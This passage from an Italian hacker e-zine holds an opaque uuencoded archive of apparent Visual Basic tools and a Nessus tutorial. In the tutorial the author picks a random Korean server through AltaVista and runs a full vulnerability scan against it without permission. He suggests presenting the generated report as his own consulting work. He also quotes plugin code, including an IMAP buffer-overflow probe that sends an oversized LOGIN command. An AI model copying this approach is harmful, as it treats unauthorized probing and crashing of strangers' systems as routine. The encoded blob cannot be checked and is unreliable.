MQ:-T_5I0E)6,;!-/[?DQ\"Y^"O__;6<ZK1J0!X.[;K%J0-K=-FL?);_K""P=
M)D"\4&:@R3*?8!AC>1!E+"X'N12!'PYV_"5DH/E[>HS0Q3.-'O<;C+OURB:3
M.Q/)X8MT6]_ZVN0R@+5E199!RX4'#Q8#><#IDO!#9`:N+V5`?AD0A;,^<)5P
MQW8P\O',6]MOVS+8(AI5=81UWCCC6Y$V<=XT#9WL=0G)R?(WG!XQ:JW%C[KX
MFJ'6S];RQMA,"QJZQMBQF=`K&>7QIGOYFT'>P5?C##P0,QHB?IQA>=6R4HB9
MO4,[IBEQ=%7(?9)JL(]-?N(Z*TQ34OQ]/%I70.0R,@V6(=$X0]!R]X:X#8O/
M0]2T>).\//S()NIDSL2Q3:X$O/=VJY"0[+:)V2Q.2?V^$HFUW31AOG2EHPV+
MPL5>Q00/X8>)/6A6>=,3T5CSEF/;C3L_%&X;UD<-`94,D\EV0+#<.M<N!&
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
M/&OY^X_;_VU9'P(HC,`GAGIO9:0?^^"W%2:G;]8(%(]?0:&`N2]8'4?YC(
MQ(0\F?[;!#S0`Z8;X*U-"`3F:)O";0(:;1E>TW:7PZ`\G9N0">*N?V\LW+)6
M)2L2?U?5#C8(')(XTT:8ADN@D\Z,LIU]/O7J!B>(19L\%_Z*-4VT"RQY_R.8
M:)>!T5:6[,)][*G]CZAJAX,Q*)6]3,WFF2OG\:O$2))&&[7'LB,D1&"RA>E1
MF^&V^WE4FT)NM3B58AJB7CZ5B6'/6)\8`\:^AN6$F125MA^#4U/=7^@P50"<
MA#/7\/"C8B*A3J0"MX8<(M3]WDGVBO7@Y7`,?>3G5@.J#=7CLF(MG72,(^<`
MB+1L9KBC?D!5(1/RJP^CD2TAW#Y3!G\_`%S`!\I?*)VU9]]])E"9T/.<["*T
M`/0.`M1O*Z#B'$M;\Q3<ID-!9.9N*Q$_78&B725(6Y1DB'QF?]**;!K;,1
MAW=,)TXA)62PWV&2'>A/%1P4M&.JMUN^<ZPC<I2:M.%%Q;EG("X:&S74I.!^
M:'@YFUY*!?IUIR*\"-<&%>$\\Z1K!.U4]=B8P3``^>98>N++]UM+@!./21M=
M(PJ!@:;N<]O8QEU=MP-I4I8N,*J._V`F`$73#/6BW)_`6:>\>5,S?7J![&=:
M11319L97Y%N:C-TH_,-)^VCX(9CS5@``[/4=T3$``0&`7`$``(T)```;EDHH
M(````,9RS#(!!0H````2`'!A<W-W;W)D7'!A<W-W+F9R;2,E$XJ?;[9N9HI`
M^,AO!W0@K,U.A%S-16:H<^KO]_O]($:_WPVUG28F$W"%D#!.Y$:]ZJW__QAS
M'FY.JGJ]7J@YDW2)-W$3-'>]WN\$`'X3.1-ECQ%^6*"=Q(!K%AXETP0R_HL9
MIM/UV8K'VP:CVU^@A$UF)9!<4*+V\9Z_<5^EF&,)A-S[[81I1_;K0J<=?1Y"
M.S6/NIWEKJ7\4T_+_S2Y+O0`:'$38J.5AMM];6:!0.@MBG*F-@DP_V?J4'R;
M`(303CE\0;8P__A!OOB8O<Y'*A`>*N99V@O9+R/GM^"]P!DX$/N6?7-R;0'6
MDG2SVA&8(H9048<FY6C0.$*/JIR.L<``(HL^C%JFR'D0B\XS+>/LA&P9>VY^
M59R=+6"JV+T);$B[J57(A$9&5+I!D]M!EDFE9Z>*#<D=WGWV@*E3)/4>*]=A
M41=>Q-RACV.KK9(T6G(971+K`'`CH[GR3@`!`8`8`0``#@,``'M8I2@@````
M!*'Y!0$%"@```"\`;75L=&ES;V-K970@=F(@92!C*RM<<V]C:R!M=6QT:7!L
M;R!60EQ&;W)M,2YF<GC;)IN&L-O';>!P0+;$AGYF>,PB5K'`#_PB%O1ZO>HW
MS9I#GLB)_M%,OUXSX-8H3S0AE+*$P!2!#SGO:`6^##+VOFRR^0\-,/C]O[63
MJ?AXE]*?N"OU-C?7WXF[$;Z5WVM$GO.'?^(F,<4NMN(MT3C71D!R<8-=;,%:
MHG&N[.U1'WMMJ@PMR[J<2GFF$%H1.[M>0!KL$&^,_;?.<AH'"ZZT,;E*VONW
M1N@X&4I=QR$R0+Z2:J;L0R`P`3LQQ$U-=.04.?)#"O&)0B@\J(,&XG]&@><@
MP14)HRB#0FX(V=$O3;%,%"G)FC&M@UE]^-\,-I-_!P/T9,>XF_+3@NY]7O=B
MWXMN+?Y`ET!MRL1&ZZV7W?;A(ST``H)91``$!@`8````&````^8"D*"``
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
C_GC?[[WWWJL??'HAR$`!#98"T(AT@\K&)#U>H)]5'P``@\,`
`
end
sum -r/size 23191/14840
------------------------------------TAGLIA QUI-----------------------------------------
+
END #___#___#
-= Master =- ##SATOR##
SPP MEMBER *** #AREPO#
www.spippolatori.com #TENET#
master@spippolatori.com #OPERA#
######### ########### #ROTAS#
###################################################################################
###################################################################################
==========================================================================================
_________________________________________________________________________
PICCOLA INTRODUZIONE A NESSUS: cos'e', a cosa serve e come funzia
by --[ fritz ]--
________________________________________________________________________
-------[ Intro, Reperimento e installazione
Nessus e', come lo definisce freshmeat, "a free, up-to-date, and
full-featured remote security scanner for Linux, BSD, Solaris, and some
other systems". Ma non intende un semplice scanner come potrebbe essere
nmap (e gia' sul semplice qui c'e' da discutere) ma un analizzatore di
vulnerabilita' di un sistema: con la sua architettura a plugin esegue una
marea di exploit (360 nell'ultima release) e poi fornisce un report
esauriente sul server testato, mettendone in luce eventuali hole o
warning.
Al momento in cui scrivo (Wed Apr 12 12:40:36 CEST 2000) l'ultima versione
uscita e' la 1.
0.0pre1, scaricata stamane da freshmeat
(http://freshmeat.net) e rilasciata da pochi giorni, dopo la 0.99.10 che
sembra essere la penultima.
I file necessari per l'installazione sono:
nessus-libraries-1.0.0pre1.tar.gz
libnasl-1.0.0pre1.tar.gz
nessus-core-1.0.0pre1.tar.gz
nessus-plugins-1.0.0pre1.tar.gz
e vanno installati in quest'ordine, causa precedenze verificate dai vari
"./configure script"
NB: nel mio sistema (slackware 7) la directory in cui installa le librerie
( /usr/local/lib ) non viene usata dal sistema, e quindi queste non
venivano trovate.
Quindi o si aggiunge la dir in questione al percorso standard, o, per i
piu' pigri come me:
cp -l /usr/local/lib/libn* /lib/
cp -l /usr/local/lib/libhosts_gatherer.* /lib/
cp -l /usr/local/lib/libpcap-nessus.* /lib/
cp -l /usr/local/lib/libpeks.* /lib/
(con l'opzione -l (link) creiamo solo un collegamento e non sprechiamo
spazio con doppioni inutili).
Ora siamo pronti per vedere cos'e' questo gioiellino.
-------[ Preparazione: lato root
Nessus, come recita la man page, e' uno scanner (o security auditing tool
che fa piu' fico) che consiste in 2 parti: un server -nessusd(8)- e un
client -nessus(1)- che gira sotto X con interfaccia Gtk, e comunicano di
dafault in modo criptato.
Questa divisione e' stata realizzata per motivi di sicurezza, cosi' solo
l'amministratore, o chi ha la pass root del sistema, puo' decidere quali
host possono essere scannati dai quali utenti.
Ed e' per questo quindi che per configurare nessusd bisogna quindi
assumere privilegi di root.
La prima volta che viene eseguito, se e' stato compilato con crittografia
mediante cipher layer (come di default) bisogna assegnare una password con
la seguente sintassi:
nessusd -P username,passwd
e si assiste alla generazioni di chiavi per la codifica/decodifica della
comunicazione con il cliente quindi:
darkstar:~# nessusd -P root,admin_passwd
Generating primes: ...........................
A questo punto se si vuole verificare:
darkstar:~# nessusd -L
root - user password
Ok, ora bisogna aggiungere l'utente che avra' il permesso di eseguire lo
scan, tramite il comando nessus-adduser:
darkstar:~# nessus-adduser
Using /var/tmp as a temporary file holder
Addition of a new nessusd user
------------------------------
Login : fritz
Password : fritz_passwd
Authentification type (cipher or plaintext) [cipher] :
Now enter the rules for this user, and hit ctrl-D once you are done :
(the user can have an empty rules set)
accept 127.0.0.1
default deny
Login : fritz
Password : fritz_passwd
Authentification : cipher
Rules :
accept 127.0.0.1
default deny
Is that ok ? (y/n) [y] y
user added.
Le rules (regole) che ho impostato per l'utente fritz gli consentono di
eseguire lo scan in locale, ma non altrove, quindi una regola del genere
permette un'analisi del proprio sistema ma non fa fare danni outside.
Dato che scrivo sempre in fretta e non controllo mai quello che digito, la
prima volta avevo sbagliato a scrivere, allora per chi si trova nella
stessa situazione, si puo' editare a mano il file
/usr/local/etc/nessus/nessusd.users, leggermente diverso da quello
ripostato nella man page, che non esiste)
Per ultima cosa, mandiamo in esecuzione il server (daemon mode):
darkstar:~# nessusd -D
Ora che abbiamo impostato il tutto dal lato server, possiamo eseguire lo
scan con il client.
-------[ Preparazione: lato user
Lanciamo X e eseguiamo "nessus", ci richiede una password che dovremmo
digitare ogni volta per eseguire il client, ed ecco l'interfaccia.
Cosi' com'e' non ci possiamo fare nulla, dobbiamo connetterci al server, e
quindi premiamo "login" e immettiamo l'utente e password che abbiamo
impostato prima da root con l'utility nessus-adduser.
Ora siamo operativi. Nella sezione plugin compaiono ora tutte quelle che
ha ottenuto dal server, divise per famiglie, disabilitabili singolarmente
e con una descrizione accurata per ciascuna.
Di default, come avvisa la finestrella che compare alla prima connessione,
le plugin che possono provocare il crash di sistemi remoti sono
disabilitate (ultima famiglia, col nome Denial of Service).
Facciamo subito una prova: lasciamo le impostazioni cosi' come sono e
mettiamo 127.0.0.1 nel target. Nel mio caso, ecco il risultato:
Number of hosts which were alive during the test : 1
Number of security holes found : 0 ( tie'! hihi, mitika slack)
Number of security warnings found : 8 (ops... ehmm... andiamo a vedere)
Clicco sul nome dell'host a sinistra (127.0.0.1) ed ecco gli 8 warnings,
non tutti sono ben documentati, ma non c'e' da lamentarsi. Ecco qualche
esempio:
1) sendmail risponde ai comandi EXPN e/o VRFY, che possono essere usati
rispettivamente per trovare il nome vero dell'alias o il nome intero del
destinatario e la validita' dell'account, e mi consiglia quindi se uso
sendmail di aggiungere l'opzione
O PrivacyOptions=goaway
in /etc/sendmail.cf
Inoltre mi avvisa che e' vulnerabile alla redirezione: ovvero se mi viene
inviata una mail a user@hostname1@victim, il server la spedira'
("allegramente") a user@hostname1.
In questo modo il simpaticone puo' far sguisciare il mesaggio attraverso
il firewall per giocare con altri smtp server che non sarebbero visibili e
raggiungibili dall'esterno (ma guarda te quante cose si imparano eheh)
Segue quindi la modifica al sendmail.cf
R$*@$*@$* $#error $@ 5.7.1 $: '551 Sorry, no redirections.'
E infine mi avvisa che il mio sendmail permette il relay (azz proprio
messo male sto eheh!)
2) general tcp --> azz sono vulnerabile allo spoofing? e io che credevo
che il mio bel kernelino 2.2.12 fosse a posto... Vediamo perche'.
Predictable TCP sequence number (eh si, non si scappa, e' proprio quello)
Insomma, i mie numeri non sono abbastanza random e sono vicini,
incrementati dello stesso valore ogni volta. Segue la sequenza e il
commentino, proprio per farmi vedere che non si scappa:
SEQ: 3814839753
SEQ: 3814839753 relative size: 0
SEQ: 3816935659 relative size: 2095906
SEQ: 3816935659 relative size: 0
SEQ: 3868 relative size: 478035505
SEQ: 3868 relative size: 0
SEQ: 3975865765 relative size: 3975861897
SEQ: 3975865765 relative size: 0
SEQ: 3869 relative size: 319105400
SEQ: 3869 relative size: 0
Dopo un'analisi accurata i warning cmq si riducono a: tcp, sendmail e un
altro (sul quale pero devo ancora indagare), quindi si sono piu'
che dimezzati.
Meglio comunque qualche falso allarme piuttosto che qualche insecurity
hole non trovato :)
Salvo il log in html e riprovo qualche altro scan, ma stavolta con
l'ultima plugin che prima non era abilitata: DoS (speriamo bene, se crasha
tutto devo ricominciare la registrazione che ho in background: mp3 -->
minidisc :) )
[$%@#!!!]
azz... non so se e' stata la mancanza di ram o nessus o cos'altro, ma qui
si e' impastato tutto per qualche minuto, poi s'e' ripigliato (killando X
e quindi anche lo scan in corso -e anche la registrazione ggggrrrrrr-)
Riprovo con un sistema piu' libero e senza (o quasi) processi in
background.
Nulla di nuovo in piu', ancora gli 8 warnings di prima, ma ho avuto la
macchina bloccata per un po', l'editor fermo, il cursore fisso immobile,
la tastiera morta, ma il mio kernelino non e' stato sconfitto, ne' nessus
mi ha riportato qualche warning in piu' riferito ai possibili DoS.
Uhmm... e' tempo ora di fare un saltino fuori dalla mia linuxbox,
siamo ora un po' piu' maliziosetti.
Per prima cosa torniamo all'utente root e aggiungiamo un altro utente a
nessusd, perche' il fritz creato prima con
accept 127.0.0.1
default deny
poteva solo effettuare scan in locale.
Ora creiamo un utente all_scan con password all_scan e queste regole:
deny 127.0.0.0/24
default accept
ovvero puo' effettuare qualsiasi scan eccetto quelli che prevedono come
target il suo sistema (il contrario di quello che poteva fare l'utente
precedente).
Abbandoniamo root e torniamo al semplice utente, cerchiamo qualche buon
server sul quale testare nessus, l'ideale sarebbe un host coreano, noti
non certo per la zelanza dei loro sysadmin, ma speriamo cmq che non se la
prendano troppo. (Come dice mayhem, un conto e' bussare a tutte le porte
di un palazzo, un altro e' cercare di forzarne la serratura di tutte,
l'amministratore del condominio potrebbe menarsela un po')
Per trovare un server qualsiasi coreano, --> Altavista
________________________________________________________________________
Ask AltaVista a question. Or enter a few words in [Korean______]
*.kr______________________________________________ Search
________________________________________________________________________
e prendiamone uno a caso.
Lo scan ora e' durato un'ora buona, ma e' stato molto redditizio.
Esporto il risultato in latex (tra gli altri formati c'e' html, html con
grafici e torte -fichissimo- e txt), poi dviizzo, postscriptizzo, stampo e
vado a vedere.
A parte il fatto che il report in formato ps e' veramente fico da vedere,
sono piu' di 20 pagine e ha un aspetto veramente professionale, e' anche
ben fatto.
Dopo la copertina e l'indice, riassume la situazione in una
introduzione: host scannati: 1, security warnings: 19, security holes: 4
(fuffffffio....).
"Note that there is a big number of problems for a single network of this
size. We strongly suggest that you correct them as soon as you can,
although we know it is not always possible. [...] A script kid should be
able to break into your network rather easily. [...] If you were
considering hiring some security consultant to determine the security of
your network, we strongly suggest you do so, because this should save your
network".
Il giudizio e' stato abbastanza severo, con i server coreani non si
sbaglia quasi mai :))
Come gia' detto prima, la spiegazione dei vari problemi e' abbstanza
esauriente, quindi una lettura anche delle sezioni che non interessano e'
comunque consigliabile.
Due sezioni particolarmente interessanti sono:
-Sendmail --> ammette il relay (Warning)
-Apache con count.cgi installata (Hole)
Ultima nota riguardo al report scritto in latex: il sorgente e' snello e
per nulla pesante, quindi facilemnte modificabile, e con pochi ritocchi,
potrebbe tranquillamente sembrare un report fatto da noi a seguito di una
prestazione di consulenza riguardo alla sicurezza di un server :))
-------[ Spippolamenti vari
Ok, per ora e' stato illustrato il suntino di una semplice esecuzione di
questo gioiellino, nulla di piu' di una semplice recensione.
Andiamo a vedere ora qualche cosina di piu' approfondito.
Nessus funziona a plugin, una per ogni insecurity, quindi queste sono il
cuore del programma, che altrimenti si limiterebbe a poco piu' di uno
scan.
Queste si trovano in /usr/local/lib/nessus/plugins, scritte tutte in nasl,
un linguaggio creato apposta (nella documentazione ne spiega i vantaggi
rispetto al C, perl o altri), ma di non difficile comprensione.
Per vedere come funziona purtroppo ci tocca andare a capire un linguaggio
che per la maggior parte ignoriamo, quindi ne prendo una semplice, del
tipo netbus.nasl, che bene o male possiamo intuire tutti di cosa parla :)
Lo script inizia con la descrizione, in inglese e francese, e dei vari
messaggi che poi andranno nel report in caso di backdoor rivelata, quindi
questi li salto. La parte importante inizia senza dubbio qui:
-------------------
[...]
#
# The script code starts here
#
port = get_kb_item("Services/netbus");
if(!port)port = 12345;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
#
# Anti-deception toolkit check
#
r = recv(socket:soc, length:1024);
close(soc);
if("NetBus" >< r){
security_hole(port);
}
}
}
-------------------
Come si intuisce facilmente, le prime righe ricavano la porta sulla quale
cercare la presenza di netbus, e poi si inizia una connessione, e se
questa e' instaurata senza problemi ( if (soc) e' inequivocabile per chi
conosce un po' di programmazione in generale) si mette a leggere cosa
gli arriva, e se legge "NetBus", passa al programma principale il compito
di scrivere il messaggio che e' abbinato alla porta 12345, e quindi nel
report leggeremo la presenza di netbus e come disinstallarlo
(per la cronaca: http://members.spree.com/NetBus/remove_1.html).
Proviamo a prendere un'altra plugin, tipo per esempio il buffer overflow
relativo al demone imap (root da remoto senza troppa difficolta' eheh!)
Dopo le solite righe relative alla presentazione, troviamo:
-------------------
[...]
#
# The script code starts here
#
port = get_kb_item("Services/imap");
if(!port)port = 143;
if(get_port_state(port))
{
data = string("1023 LOGIN ", crap(1023), "\r\n");
soc = open_sock_tcp(port);
if(soc > 0)
{
buf = recv_line(socket:soc, length:1024);
if(!buf)
{
set_kb_item(name:"imap/false_imap", value:TRUE);
close(soc);
exit(0);
}
